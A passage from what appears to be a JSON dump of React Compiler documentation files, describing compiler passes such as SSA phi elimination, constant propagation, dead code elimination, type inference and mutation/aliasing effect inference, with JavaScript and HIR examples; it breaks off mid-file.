SSA:\n```\nbb0 (block):\n  [1] $13 = 1\n  [2] $15 = StoreLocal Let x$14 = $13    // x$14: initial definition\n  [3] While test=bb1 loop=bb3 fallthrough=bb2\n\nbb1 (loop):\n  predecessor blocks: bb0 bb3\n  x$16: phi(bb0: x$14, bb3: x$23)        // PHI merges initial and loop-updated values\n  [4] $17 = LoadLocal x$16\n  [5] $18 = 10\n  [6] $19 = Binary $17 < $18\n  [7] Branch ($19) then:bb3 else:bb2\n\nbb3 (block):\n  predecessor blocks: bb1\n  [8] $20 = LoadLocal x$16               // Uses phi result\n  [9] $21 = 1\n  [10] $22 = Binary $20 + $21\n  [11] $24 = StoreLocal Reassign x$23 = $22  // x$23: new SSA name in loop body\n  [12] Goto(Continue) bb1\n\nbb2 (block):\n  predecessor blocks: bb1\n  [13] $25 = LoadLocal x$16              // Uses phi result\n  [14] Return Explicit $25\n```\n\nThe phi node at `bb1` (the loop header) is initially created as an \"incomplete phi\" when first visited because `bb3` (the loop body) hasn't been visited yet. Once `bb3` is processed and its terminal is handled, the incomplete phi is fixed by calling `fixIncompletePhis` to populate the operand from `bb3`.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/03-eliminateRedundantPhi.md",
    "content": "# eliminateRedundantPhi\n\n## File\n`src/SSA/EliminateRedundantPhi.ts`\n\n## Purpose\nEliminates phi nodes whose operands are trivially the same, replacing all usages of the phi's output identifier with the single source identifier. This simplifies the HIR by removing unnecessary join points that do not actually merge distinct values.\n\n## Input Invariants\n- The function must be in SSA form (i.e., `enterSSA` has already run)\n- Blocks are in reverse postorder (guaranteed by the HIR structure)\n- Phi nodes exist at the start of blocks where control flow merges\n\n## Output Guarantees\n- All redundant phi nodes are removed from the HIR\n- All references to eliminated phi identifiers are rewritten to the source identifier\n- Non-redundant phi nodes (those merging two or more distinct values) are preserved\n- Nested function expressions (FunctionExpression, ObjectMethod) also have their redundant phis eliminated and contexts rewritten\n\n## Algorithm\nA phi node is considered redundant when:\n1. **All operands are the same identifier**: e.g., `x2 = phi(x1, x1, x1)` - the phi is replaced with `x1`\n2. **All operands are either the same identifier OR the phi's output**: e.g., `x2 = phi(x1, x2, x1, x2)` - this handles loop back-edges where the phi references itself\n\nThe algorithm works as follows:\n1. Visit blocks in reverse postorder, building a rewrite table (`Map<Identifier, Identifier>`)\n2. For each phi node in a block:\n   - First rewrite operands using any existing rewrites (to handle cascading eliminations)\n   - Check if all operands (excluding self-references) point to the same identifier\n   - If so, add a mapping from the phi's output to that identifier and delete the phi\n3. After processing phis, rewrite all instruction lvalues, operands, and terminal operands\n4. For nested functions, recursively call `eliminateRedundantPhi` with shared rewrites\n5. If the CFG has back-edges (loops) and new rewrites were added, repeat the entire process\n\nThe loop termination condition `rewrites.size > size && hasBackEdge` ensures:\n- Without loops: completes in a single pass (reverse postorder guarantees forward propagation)\n- With loops: repeats until no new rewrites are found (fixpoint)\n\n## Key Data Structures\n- **`Phi`** (from `src/HIR/HIR.ts`): Represents a phi node with:\n  - `place: Place` - the output identifier\n  - `operands: Map<BlockId, Place>` - maps predecessor block IDs to source places\n- **`rewrites: Map<Identifier, Identifier>`**: Maps eliminated phi outputs to their replacement identifier\n- **`visited: Set<BlockId>`**: Tracks visited blocks to detect back-edges (loops)\n\n## Edge Cases\n- **Loop back-edges**: When a block has a predecessor that hasn't been visited yet (in reverse postorder), that predecessor is a back-edge. The algorithm handles self-referential phis like `x2 = phi(x1, x2)` by ignoring operands equal to the phi's output.\n- **Cascading eliminations**: When one phi's output is used in another phi's operands, the algorithm rewrites operands before checking redundancy, enabling transitive elimination in a single pass (for non-loop cases).\n- **Nested functions**: FunctionExpression and ObjectMethod values contain nested HIR that may have their own phis. The algorithm recursively processes these with a shared rewrite table, ensuring context captures are also rewritten.\n- **Empty phi check**: The algorithm includes an invariant check that phi operands are never empty (which would be invalid HIR).\n\n## TODOs\n(None found in the source code)\n\n## Example\n\nConsider this fixture from `rewrite-phis-in-lambda-capture-context.js`:\n\n```javascript\nfunction Component() {\n  const x = 4;\n  const get4 = () => {\n    while (bar()) {\n      if (baz) { bar(); }\n    }\n    return () => x;\n  };\n  return get4;\n}\n```\n\n**After SSA pass**, the inner function has redundant phis due to the loop:\n\n```\nbb2 (loop):\n  predecessor blocks: bb1 bb5\n  x$29: phi(bb1: x$21, bb5: x$30)  // Loop header phi\n  ...\nbb5 (block):\n  predecessor blocks: bb6 bb4\n  x$30: phi(bb6: x$29, bb4: x$29)  // Redundant: both operands are x$29\n  ...\n```\n\n**After EliminateRedundantPhi**:\n- `x$30 = phi(x$29, x$29)` is eliminated because both operands are `x$29`\n- `x$29 = phi(x$21, x$30)` becomes `x$29 = phi(x$21, x$29)` after rewriting, which is also redundant (one operand is the phi itself, the other is `x$21`)\n- Both phis are eliminated, and all uses of `x$29` and `x$30` are rewritten to `x$21`\n\nThe result: the context capture `@context[x$29]` becomes `@context[x$21]`, correctly propagating that `x` is never modified inside the loop.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/04-constantPropagation.md",
    "content": "# constantPropagation\n\n## File\n`src/Optimization/ConstantPropagation.ts`\n\n## Purpose\nApplies Sparse Conditional Constant Propagation (SCCP) to fold compile-time evaluable expressions to constant values, propagate those constants through the program, and eliminate unreachable branches when conditionals have known constant values.\n\n## Input Invariants\n- HIR must be in SSA form (runs after `enterSSA`)\n- Redundant phi nodes should be eliminated (runs after `eliminateRedundantPhi`)\n- Consistent identifiers must be ensured (`assertConsistentIdentifiers`)\n- Terminal successors must exist (`assertTerminalSuccessorsExist`)\n\n## Output Guarantees\n- Instructions with compile-time evaluable operands are replaced with `Primitive` constants\n- `ComputedLoad`/`ComputedStore` with constant string/number properties are converted to `PropertyLoad`/`PropertyStore`\n- `LoadLocal` and `StoreLocal` propagate known constant values\n- `IfTerminal` with constant boolean test values are replaced with `goto` terminals\n- Unreachable blocks are removed and the CFG is minimized\n- Phi nodes with unreachable predecessor operands are pruned\n- Nested functions (`FunctionExpression`, `ObjectMethod`) are recursively processed\n\n## Algorithm\nThe pass uses Sparse Conditional Constant Propagation (SCCP) with fixpoint iteration:\n\n1. **Data Structure**: A `Constants` map (`Map<IdentifierId, Constant>`) tracks known constant values (either `Primitive` or `LoadGlobal`)\n\n2. **Single Pass per Iteration**: Visits all blocks in order:\n   - Evaluates phi nodes - if all operands have the same constant value, the phi result is constant\n   - Evaluates instructions - replaces evaluable expressions with constants\n   - Evaluates terminals - if an `IfTerminal` test is a constant, replaces it with a `goto`\n\n3. **Fixpoint Loop**: If any terminals changed (branch elimination):\n   - Recomputes block ordering (`reversePostorderBlocks`)\n   - Removes unreachable code (`removeUnreachableForUpdates`, `removeDeadDoWhileStatements`, `removeUnnecessaryTryCatch`)\n   - Renumbers instructions (`markInstructionIds`)\n   - Updates predecessors (`markPredecessors`)\n   - Prunes phi operands from unreachable predecessors\n   - Eliminates newly-redundant phis (`eliminateRedundantPhi`)\n   - Merges consecutive blocks (`mergeConsecutiveBlocks`)\n   - Repeats until no more changes\n\n4. **Instruction Evaluation**: Handles various instruction types:\n   - **Primitives/LoadGlobal**: Directly constant\n   - **BinaryExpression**: Folds arithmetic (`+`, `-`, `*`, `/`, `%`, `**`), bitwise (`|`, `&`, `^`, `<<`, `>>`, `>>>`), and comparison (`<`, `<=`, `>`, `>=`, `==`, `===`, `!=`, `!==`) operators\n   - **UnaryExpression**: Folds `!` (boolean negation) and `-` (numeric negation)\n   - **PostfixUpdate/PrefixUpdate**: Folds `++`/`--` on constant numbers\n   - **PropertyLoad**: Folds `.length` on constant strings\n   - **TemplateLiteral**: Folds template strings with constant interpolations\n   - **ComputedLoad/ComputedStore**: Converts to property access when property is constant string/number\n\n## Key Data Structures\n- `Constant = Primitive | LoadGlobal` - The lattice values (no top/bottom, absence means unknown)\n- `Constants = Map<IdentifierId, Constant>` - Maps identifier IDs to their known constant values\n- Uses HIR types: `Instruction`, `Phi`, `Place`, `Primitive`, `LoadGlobal`, `InstructionValue`\n\n## Edge Cases\n- **Last instruction of sequence blocks**: Skipped to preserve evaluation order\n- **Phi nodes with back-edges**: Single-pass analysis means loop back-edges won't have constant values propagated\n- **Template literals with Symbol**: Not folded (would throw at runtime)\n- **Template literals with objects/arrays**: Not folded (custom toString behavior)\n- **Division results**: Computed at compile time (may produce `NaN`, `Infinity`, etc.)\n- **LoadGlobal in phis**: Only propagated if all operands reference the same global name\n- **Nested functions**: Constants from outer scope are propagated into nested function expressions\n\n## TODOs\n- `// TODO: handle more cases` - The default case in `evaluateInstruction` has room for additional instruction types\n\n## Example\n\n**Input:**\n```javascript\nfunction Component() {\n  let a = 1;\n\n  let b;\n  if (a === 1) {\n    b = true;\n  } else {\n    b = false;\n  }\n\n  let c;\n  if (b) {\n    c = 'hello';\n  } else {\n    c = null;\n  }\n\n  return c;\n}\n```\n\n**After ConstantPropagation:**\n- `a === 1` evaluates to `true`\n- The `if (a === 1)` branch is eliminated, only consequent remains\n- `b` is known to be `true`\n- `if (b)` branch is eliminated, only consequent remains\n- `c` is known to be `'hello'`\n- All intermediate blocks are merged\n\n**Output:**\n```javascript\nfunction Component() {\n  return \"hello\";\n}\n```\n\nThe pass performs iterative simplification: first iteration determines `a === 1` is `true` and eliminates that branch. The CFG is updated, phi for `b` is pruned to single operand making `b = true`. Second iteration uses `b = true` to eliminate the next branch. This continues until no more branches can be eliminated.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/05-deadCodeElimination.md",
    "content": "# deadCodeElimination\n\n## File\n`src/Optimization/DeadCodeElimination.ts`\n\n## Purpose\nEliminates instructions whose values are unused, reducing generated code size. The pass performs mark-and-sweep analysis to identify and remove dead code while preserving side effects and program semantics.\n\n## Input Invariants\n- Must run after `InferMutationAliasingEffects` because \"dead\" code may still affect effect inference\n- HIR is in SSA form with phi nodes\n- Unreachable blocks are already pruned during HIR construction\n\n## Output Guarantees\n- All instructions with unused lvalues (that are safe to prune) are removed\n- Unused phi nodes are deleted\n- Unused context variables are removed from `fn.context`\n- Destructuring patterns are rewritten to remove unused bindings\n- `StoreLocal` instructions with unused initializers are converted to `DeclareLocal`\n\n## Algorithm\nTwo-phase mark-and-sweep with fixed-point iteration for loops:\n\n**Phase 1: Mark (findReferencedIdentifiers)**\n1. Detect if function has back-edges (loops)\n2. Iterate blocks in reverse postorder (successors before predecessors) to visit usages before declarations\n3. For each block:\n   - Mark all terminal operands as referenced\n   - Process instructions in reverse order:\n     - If lvalue is used OR instruction is not pruneable, mark the lvalue and all operands as referenced\n     - Special case for `StoreLocal`: only mark initializer if the SSA lvalue is actually read\n   - Mark phi operands if the phi result is used\n4. If loops exist and new identifiers were marked, repeat until fixed point\n\n**Phase 2: Sweep**\n1. Remove unused phi nodes from each block\n2. Remove instructions with unused lvalues using `retainWhere`\n3. Rewrite retained instructions:\n   - **Array destructuring**: Replace unused elements with holes, truncate trailing holes\n   - **Object destructuring**: Remove unused properties (only if rest element is unused or absent)\n   - **StoreLocal**: Convert to `DeclareLocal` if initializer value is never read\n4. Remove unused context variables\n\n## Key Data Structures\n- **State class**: Tracks referenced identifiers\n  - `identifiers: Set<IdentifierId>` - SSA-specific usages\n  - `named: Set<string>` - Named variable usages (any version)\n  - `isIdOrNameUsed()` - Checks if identifier or any version of named variable is used\n  - `isIdUsed()` - Checks if specific SSA id is used\n- **hasBackEdge/findBlocksWithBackEdges**: Detect loops requiring fixed-point iteration\n\n## Edge Cases\n- **Preserved even if unused:**\n  - `debugger` statements (to not break debugging workflows)\n  - Call expressions and method calls (may have side effects)\n  - Await expressions\n  - Store operations (ComputedStore, PropertyStore, StoreGlobal)\n  - Delete operations (ComputedDelete, PropertyDelete)\n  - Iterator operations (GetIterator, IteratorNext, NextPropertyOf)\n  - Context operations (LoadContext, DeclareContext, StoreContext)\n  - Memoization markers (StartMemoize, FinishMemoize)\n\n- **SSR mode special case:**\n  - In SSR mode, unused `useState`, `useReducer`, and `useRef` hooks can be removed\n\n- **Object destructuring with rest:**\n  - Cannot remove unused properties if rest element is used (would change rest's value)\n\n- **Block value instructions:**\n  - Last instruction of value blocks (not 'block' kind) is never pruned as it's the block's value\n\n## TODOs\n- \"TODO: we could be more precise and make this conditional on whether any arguments are actually modified\" (for mutating instructions)\n\n## Example\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const _ = 42;\n  return props.value;\n}\n```\n\n**After DeadCodeElimination:**\nThe `const _ = 42` assignment is removed since `_` is never used:\n```javascript\nfunction Component(props) {\n  return props.value;\n}\n```\n\n**Array destructuring example:**\n\nInput:\n```javascript\nfunction foo(props) {\n  const [x, unused, y] = props.a;\n  return x + y;\n}\n```\n\nOutput (middle element becomes a hole):\n```javascript\nfunction foo(props) {\n  const [x, , y] = props.a;\n  return x + y;\n}\n```\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/06-inferTypes.md",
    "content": "# inferTypes\n\n## File\n`src/TypeInference/InferTypes.ts`\n\n## Purpose\nInfers types for all identifiers in the HIR by generating type equations and solving them using unification. This pass annotates identifiers with concrete types (Primitive, Object, Function) based on the operations performed on them and the types of globals/hooks they interact with.\n\n## Input Invariants\n- The HIR must be in SSA form (the pass runs after `enterSSA` and `eliminateRedundantPhi`)\n- Constant propagation has already run\n- Global declarations and hook shapes are available via the Environment\n\n## Output Guarantees\n- All identifier types are resolved from type variables (`Type`) to concrete types where possible\n- Phi nodes have their operand types unified to produce a single result type\n- Function return types are inferred from the unified types of all return statements\n- Property accesses on known objects/hooks resolve to the declared property types\n- Component props parameters are typed as `TObject<BuiltInProps>`\n- Component ref parameters are typed as `TObject<BuiltInUseRefId>`\n\n## Algorithm\nThe pass uses a classic constraint-based type inference approach with three phases:\n\n1. **Constraint Generation (`generate`)**: Traverses all instructions and generates type equations:\n   - Primitives, literals, unary/binary operations -> `Primitive` type\n   - Hook/function calls -> Function type with fresh return type variable\n   - Property loads -> `Property` type that defers to object shape lookup\n   - Destructuring -> Property types for each extracted element\n   - Phi nodes -> `Phi` type with all operand types as candidates\n   - JSX -> `Object<BuiltInJsx>`\n   - Arrays -> `Object<BuiltInArray>`\n   - Objects -> `Object<BuiltInObject>`\n\n2. **Unification (`Unifier.unify`)**: Solves constraints by unifying type equations:\n   - Type variables are bound to concrete types via substitution\n   - Property types are resolved by looking up the object's shape\n   - Phi types are resolved by finding a common type among operands (or falling back to `Phi` if incompatible)\n   - Function types are unified by unifying their return types\n   - Occurs check prevents infinite types (cycles in type references)\n\n3. **Application (`apply`)**: Applies the computed substitutions to all identifiers in the HIR, replacing type variables with their resolved types.\n\n## Key Data Structures\n- **TypeVar** (`kind: 'Type'`): A type variable with a unique TypeId, used for unknowns\n- **Unifier**: Maintains a substitution map from TypeId to Type, with methods for unification and cycle detection\n- **TypeEquation**: A pair of types that should be equal, used as constraints\n- **PhiType** (`kind: 'Phi'`): Represents the join of multiple types from control flow merge points\n- **PropType** (`kind: 'Property'`): Deferred property lookup that resolves based on object shape\n- **FunctionType** (`kind: 'Function'`): Callable type with optional shapeId and return type\n- **ObjectType** (`kind: 'Object'`): Object with optional shapeId for shape lookup\n\n## Edge Cases\n\n### Phi Type Resolution\nWhen phi operands have incompatible types, the pass attempts to find a union:\n- `Union(Primitive | MixedReadonly) = MixedReadonly`\n- `Union(Array | MixedReadonly) = Array`\n- If no union is possible, the type remains as `Phi`\n\n### Ref-like Name Inference\nWhen `enableTreatRefLikeIdentifiersAsRefs` is enabled, property access on variables matching the pattern `/^(?:[a-zA-Z$_][a-zA-Z$_0-9]*)Ref$|^ref$/` with property name `current` infers:\n- Object type as `TObject<BuiltInUseRefId>`\n- Property type as `TObject<BuiltInRefValue>`\n\n### Cycle Detection\nThe `occursCheck` method prevents infinite types by detecting when a type variable appears in its own substitution. When a cycle is detected, `tryResolveType` removes the cyclic reference from Phi operands.\n\n### Context Variables\n- `DeclareContext` and `LoadContext` generate no type equations (intentionally untyped)\n- `StoreContext` with `Const` kind does propagate the rvalue type to enable ref inference through context variables\n\n## TODOs\n1. **Hook vs Function type ambiguity**:\n   > \"TODO: callee could be a hook or a function, so this type equation isn't correct. We should change Hook to a subtype of Function or change unifier logic.\"\n\n2. **PropertyStore rvalue inference**:\n   > \"TODO: consider using the rvalue type here\" - Currently uses a dummy type for PropertyStore to avoid inferring rvalue types from lvalue assignments.\n\n## Example\n\n**Input (infer-phi-primitive.js):**\n```javascript\nfunction foo(a, b) {\n  let x;\n  if (a) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  let y = x;\n  return y;\n}\n```\n\n**Before InferTypes (SSA form):**\n```\n<unknown> x$26: phi(bb2: <unknown> x$21, bb3: <unknown> x$24)\n[10] <unknown> $27 = LoadLocal <unknown> x$26\n[11] <unknown> $29 = StoreLocal Let <unknown> y$28 = <unknown> $27\n```\n\n**After InferTypes:**\n```\n<unknown> x$26:TPrimitive: phi(bb2: <unknown> x$21:TPrimitive, bb3: <unknown> x$24:TPrimitive)\n[10] <unknown> $27:TPrimitive = LoadLocal <unknown> x$26:TPrimitive\n[11] <unknown> $29:TPrimitive = StoreLocal Let <unknown> y$28:TPrimitive = <unknown> $27:TPrimitive\n```\n\nThe pass infers that:\n- Literals `1` and `2` are `TPrimitive`\n- The phi of two primitives is `TPrimitive`\n- Variables `x` and `y` are `TPrimitive`\n- The function return type is `TPrimitive`\n\n**Hook type inference example (useState):**\n```javascript\nconst [x, setX] = useState(initialValue);\n```\n\nAfter InferTypes:\n- `useState` -> `TFunction<BuiltInUseState>:TObject<BuiltInUseState>`\n- Return value `$27` -> `TObject<BuiltInUseState>`\n- Destructured `setX` -> `TFunction<BuiltInSetState>:TPrimitive`\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/07-analyseFunctions.md",
    "content": "# analyseFunctions\n\n## File\n`src/Inference/AnalyseFunctions.ts`\n\n## Purpose\nRecursively analyzes all nested function expressions and object methods in a function to infer their aliasing effect signatures, which describe how the function affects its captured variables when invoked.\n\n## Input Invariants\n- The HIR has been through SSA conversion and type inference\n- FunctionExpression and ObjectMethod instructions have an empty `aliasingEffects` array (`@aliasingEffects=[]`)\n- Context variables (captured variables from outer scope) exist on `fn.context` but do not have their effect populated\n\n## Output Guarantees\n- Every FunctionExpression and ObjectMethod has its `aliasingEffects` array populated with the effects the function performs when called (mutations, captures, aliasing to return value, etc.)\n- Each context variable's `effect` property is set to either `Effect.Capture` (if the variable is captured or mutated by the inner function) or `Effect.Read` (if only read)\n- Context variable mutable ranges are reset to `{start: 0, end: 0}` and scopes are set to `null` to prepare for the outer function's subsequent `inferMutationAliasingRanges` pass\n\n## Algorithm\n1. **Recursive traversal**: Iterates through all blocks and instructions looking for `FunctionExpression` or `ObjectMethod` instructions\n2. **Depth-first processing**: For each function expression found, calls `lowerWithMutationAliasing()` which:\n   - Recursively calls `analyseFunctions()` on the inner function (handles nested functions)\n   - Runs `inferMutationAliasingEffects()` on the inner function to determine effects\n   - Runs `deadCodeElimination()` to clean up\n   - Runs `inferMutationAliasingRanges()` to compute mutable ranges and extract externally-visible effects\n   - Runs `rewriteInstructionKindsBasedOnReassignment()` and `inferReactiveScopeVariables()`\n   - Stores the computed effects in `fn.aliasingEffects`\n3. **Context variable effect classification**: Scans the computed effects to determine which context variables are captured/mutated vs only read:\n   - Effects like `Capture`, `Alias`, `Assign`, `MaybeAlias`, `CreateFrom` mark the source as captured\n   - Mutation effects (`Mutate`, `MutateTransitive`, etc.) mark the target as captured\n   - Sets `operand.effect = Effect.Capture` or `Effect.Read` accordingly\n4. **Range reset**: Resets mutable ranges and scopes on context variables to prepare for outer function analysis\n\n## Key Data Structures\n- **HIRFunction.aliasingEffects**: Array of `AliasingEffect` storing the externally-visible behavior of a function when called\n- **Place.effect**: Effect enum value (`Capture` or `Read`) describing how a context variable is used\n- **AliasingEffect**: Union type describing data flow (Capture, Alias, Assign, etc.) and mutations (Mutate, MutateTransitive, etc.)\n- **FunctionExpression/ObjectMethod.loweredFunc.func**: The inner HIRFunction to analyze\n\n## Edge Cases\n- **Nested functions**: Handled via recursive call to `analyseFunctions()` before processing the current function - innermost functions are analyzed first\n- **ObjectMethod**: Treated identically to FunctionExpression\n- **Apply effects invariant**: The pass asserts that no `Apply` effects remain in the function's signature - these should have been resolved to more precise effects by `inferMutationAliasingRanges()`\n- **Conditional mutations**: Effects like `MutateTransitiveConditionally` are tracked - a function that conditionally mutates a captured variable will have that effect in its signature\n- **Immutable captures**: `ImmutableCapture`, `Freeze`, `Create`, `Impure`, `Render` effects do not contribute to marking context variables as `Capture`\n\n## TODOs\n- No TODO comments in the pass itself\n\n## Example\nConsider a function that captures and conditionally mutates a variable:\n\n```javascript\nfunction useHook(a, b) {\n  let z = {a};\n  let y = b;\n  let x = function () {\n    if (y) {\n      maybeMutate(z);  // Unknown function, may mutate z\n    }\n  };\n  return x;\n}\n```\n\n**Before AnalyseFunctions:**\n```\nFunction @context[y$28, z$25] @aliasingEffects=[]\n```\n\n**After AnalyseFunctions:**\n```\nFunction @context[read y$28, capture z$25] @aliasingEffects=[\n  MutateTransitiveConditionally z$25,\n  Create $14 = primitive\n]\n```\n\nThe pass infers:\n- `y` is only read (used in the condition)\n- `z` is captured into the function and conditionally mutated transitively (because `maybeMutate()` is unknown)\n- The inner function's signature includes `MutateTransitiveConditionally z$25` to indicate this potential mutation\n\nThis signature is then used by `InferMutationAliasingEffects` on the outer function to understand that creating this function captures `z`, and calling the function may mutate `z`.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/08-inferMutationAliasingEffects.md",
    "content": "# inferMutationAliasingEffects\n\n## File\n`src/Inference/InferMutationAliasingEffects.ts`\n\n## Purpose\nInfers the mutation and aliasing effects for all instructions and terminals in the HIR, making the effects of built-in instructions/functions as well as user-defined functions explicit. These effects form the basis for subsequent analysis to determine the mutable range of each value in the program and for validation against invalid code patterns like mutating frozen values.\n\n## Input Invariants\n- HIR must be in SSA form (run after SSA pass)\n- Types must be inferred (run after InferTypes pass)\n- Functions must be analyzed (run after AnalyseFunctions pass) - this provides `aliasingEffects` on FunctionExpressions\n- Each instruction must have an lvalue (destination place)\n\n## Output Guarantees\n- Every instruction has an `effects` array (or null if no effects) containing `AliasingEffect` objects\n- Terminals that affect data flow (return, try/catch) have their `effects` populated\n- Each instruction's lvalue is guaranteed to be defined in the inference state after visiting\n- Effects describe: creation of values, data flow (Assign, Alias, Capture), mutations (Mutate, MutateTransitive), freezing, and errors (MutateFrozen, MutateGlobal, Impure)\n\n## Algorithm\nThe pass uses abstract interpretation with the following key phases:\n\n1. **Initialization**:\n   - Create initial `InferenceState` mapping identifiers to abstract values\n   - Initialize context variables as `ValueKind.Context`\n   - Initialize parameters as `ValueKind.Frozen` (for top-level components/hooks) or `ValueKind.Mutable` (for function expressions)\n\n2. **Two-Phase Effect Processing**:\n   - **Phase 1 - Signature Computation**: For each instruction, compute a \"candidate signature\" based purely on instruction semantics and types (cached per instruction via `computeSignatureForInstruction`)\n   - **Phase 2 - Effect Application**: Apply the signature to the current abstract state via `applySignature`, which refines effects based on the actual runtime kinds of values\n\n3. **Fixed-Point Iteration**:\n   - Process blocks in a worklist, queuing successors after each block\n   - Merge states at control flow join points using lattice operations\n   - Iterate until no changes occur (max 100 iterations as safety limit)\n   - Phi nodes are handled by unioning the abstract values from all predecessors\n\n4. **Effect Refinement** (in `applyEffect`):\n   - `MutateConditionally` effects are dropped if value is not mutable\n   - `Capture` effects are downgraded to `ImmutableCapture` if source is frozen\n   - `Mutate` on frozen values becomes `MutateFrozen` error\n   - `Assign` from primitives/globals creates new values rather than aliasing\n\n## Key Data Structures\n\n### InferenceState\nMaintains two maps:\n- `#values: Map<InstructionValue, AbstractValue>` - Maps allocation sites to their abstract kind\n- `#variables: Map<IdentifierId, Set<InstructionValue>>` - Maps identifiers to the set of values they may point to (set to handle phi joins)\n\n### AbstractValue\n```typescript\ntype AbstractValue = {\n  kind: ValueKind;\n  reason: ReadonlySet<ValueReason>;\n};\n```\n\n### ValueKind (lattice)\n```\nMaybeFrozen    <- top (unknown if frozen or mutable)\n    |\n  Frozen       <- immutable, cannot be mutated\n  Mutable      <- can be mutated locally\n  Context      <- mutable box (context variables)\n    |\n  Global       <- global value\n  Primitive    <- copy-on-write semantics\n```\n\nThe `mergeValueKinds` function implements the lattice join:\n- `Frozen | Mutable -> MaybeFrozen`\n- `Context | Mutable -> Context`\n- `Context | Frozen -> MaybeFrozen`\n\n### AliasingEffect Types\nKey effect kinds handled:\n- **Create**: Creates a new value at a place\n- **Assign**: Direct assignment (pointer copy)\n- **Alias**: Mutation of destination implies mutation of source\n- **Capture**: Information flow (MutateTransitive propagates through)\n- **MaybeAlias**: Possible aliasing for unknown function returns\n- **Mutate/MutateTransitive**: Direct/transitive mutation\n- **MutateConditionally/MutateTransitiveConditionally**: Conditional versions\n- **Freeze**: Marks value as immutable\n- **Apply**: Function call with complex data flow\n\n## Edge Cases\n\n1. **Spread Destructuring from Props**: The `findNonMutatedDestructureSpreads` pre-pass identifies spread patterns from frozen values that are never mutated, allowing them to be treated as frozen.\n\n2. **Hoisted Context Declarations**: Special handling for variables declared with hoisting (`HoistedConst`, `HoistedFunction`, `HoistedLet`) to detect access before declaration.\n\n3. **Try-Catch Aliasing**: When a `maybe-throw` terminal is reached, call return values are aliased into the catch binding since exceptions can throw return values.\n\n4. **Function Expressions**: Functions are considered mutable only if they have mutable captures or tracked side effects (MutateFrozen, MutateGlobal, Impure).\n\n5. **Iterator Mutation**: Non-builtin iterators may alias their collection and mutation of the iterator is conditional.\n\n6. **Array.push and Similar**: Uses legacy signature system with `Store` effect on receiver and `Capture` of arguments.\n\n## TODOs\n- `// TODO: using InstructionValue as a bit of a hack, but it's pragmatic` - context variable initialization\n- `// TODO: call applyEffect() instead` - try-catch aliasing\n- `// TODO: make sure we're also validating against global mutations somewhere` - global mutation validation for effects/event handlers\n- `// TODO; include \"render\" here?` - whether to track Render effects in function hasTrackedSideEffects\n- `// TODO: consider using persistent data structures to make clone cheaper` - performance optimization for state cloning\n- `// TODO check this` and `// TODO: what kind here???` - DeclareLocal value kinds\n\n## Example\n\nFor the code:\n```javascript\nconst arr = [];\narr.push({});\narr.push(x, y);\n```\n\nAfter `InferMutationAliasingEffects`, the effects are:\n\n```\n[10] $39 = Array []\n    Create $39 = mutable           // Array literal creates mutable value\n\n[11] $41 = StoreLocal arr$40 = $39\n    Assign arr$40 = $39            // arr points to the array value\n    Assign $41 = $39\n\n[15] $45 = MethodCall $42.push($44)\n    Apply $45 = $42.$43($44)       // Records the call\n    Mutate $42                      // push mutates the array\n    Capture $42 <- $44             // {} is captured into array\n    Create $45 = primitive         // push returns number (length)\n\n[20] $50 = MethodCall $46.push($48, $49)\n    Apply $50 = $46.$47($48, $49)\n    Mutate $46                      // push mutates the array\n    Capture $46 <- $48             // x captured into array\n    Capture $46 <- $49             // y captured into array\n    Create $50 = primitive\n```\n\nThe key insight is that `Mutate` effects extend the mutable range of the array, and `Capture` effects record data flow so that if the array is later frozen (e.g., returned from a component), the captured values are also considered frozen for validation purposes.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/09-inferMutationAliasingRanges.md",
    "content": "# inferMutationAliasingRanges\n\n## File\n`src/Inference/InferMutationAliasingRanges.ts`\n\n## Purpose\nThis pass builds an abstract model of the heap and interprets the effects of the given function to determine: (1) the mutable ranges of all identifiers, (2) the externally-visible effects of the function (mutations of params/context-vars, aliasing relationships), and (3) the legacy `Effect` annotation for each Place.\n\n## Input Invariants\n- InferMutationAliasingEffects must have already run, populating `instr.effects` on each instruction with aliasing/mutation effects\n- SSA form must be established (identifiers are in SSA)\n- Type inference has been run (InferTypes)\n- Functions have been analyzed (AnalyseFunctions)\n- Dead code elimination has been performed\n\n## Output Guarantees\n- Every identifier has a populated `mutableRange` (start:end instruction IDs)\n- Every Place has a legacy `Effect` annotation (Read, Capture, Store, Freeze, etc.)\n- The function's `aliasingEffects` array is populated with externally-visible effects (mutations of params/context-vars, aliasing between params/context-vars/return)\n- Validation errors are collected for invalid effects like `MutateFrozen` or `MutateGlobal`\n\n## Algorithm\nThe pass operates in three main phases:\n\n**Part 1: Build Data Flow Graph and Infer Mutable Ranges**\n1. Creates an `AliasingState` which maintains a `Node` for each identifier\n2. Iterates through all blocks and instructions, processing effects in program order\n3. For each effect:\n   - `Create`/`CreateFunction`: Creates a new node in the graph\n   - `CreateFrom`/`Assign`/`Alias`: Adds alias edges between nodes (with ordering index)\n   - `MaybeAlias`: Adds conditional alias edges\n   - `Capture`: Adds capture edges (for transitive mutations)\n   - `Mutate*`: Queues mutations for later processing\n   - `Render`: Queues render effects for later processing\n4. Phi node operands are connected once their predecessor blocks have been visited\n5. After the graph is built, mutations are processed:\n   - Mutations propagate both forward (via edges) and backward (via aliases/captures)\n   - Each mutation extends the `mutableRange.end` of affected identifiers\n   - Transitive mutations also traverse capture edges backward\n   - `MaybeAlias` edges downgrade mutations to `Conditional`\n6. Render effects are processed to mark values as rendered\n\n**Part 2: Populate Legacy Per-Place Effects**\n- Sets legacy effects on lvalues and operands based on instruction effects and mutable ranges\n- Fixes up mutable range start values for identifiers that are mutated after creation\n\n**Part 3: Infer Externally-Visible Function Effects**\n- Creates a `Create` effect for the return value\n- Simulates transitive mutations of each param/context-var/return to detect capture relationships\n- Produces `Alias`/`Capture` effects showing data flow between params/context-vars/return\n\n## Key Data Structures\n\n### `AliasingState`\nThe main state class maintaining the data flow graph:\n- `nodes: Map<Identifier, Node>` - Maps identifiers to their graph nodes\n\n### `Node`\nRepresents an identifier in the data flow graph:\n```typescript\ntype Node = {\n  id: Identifier;\n  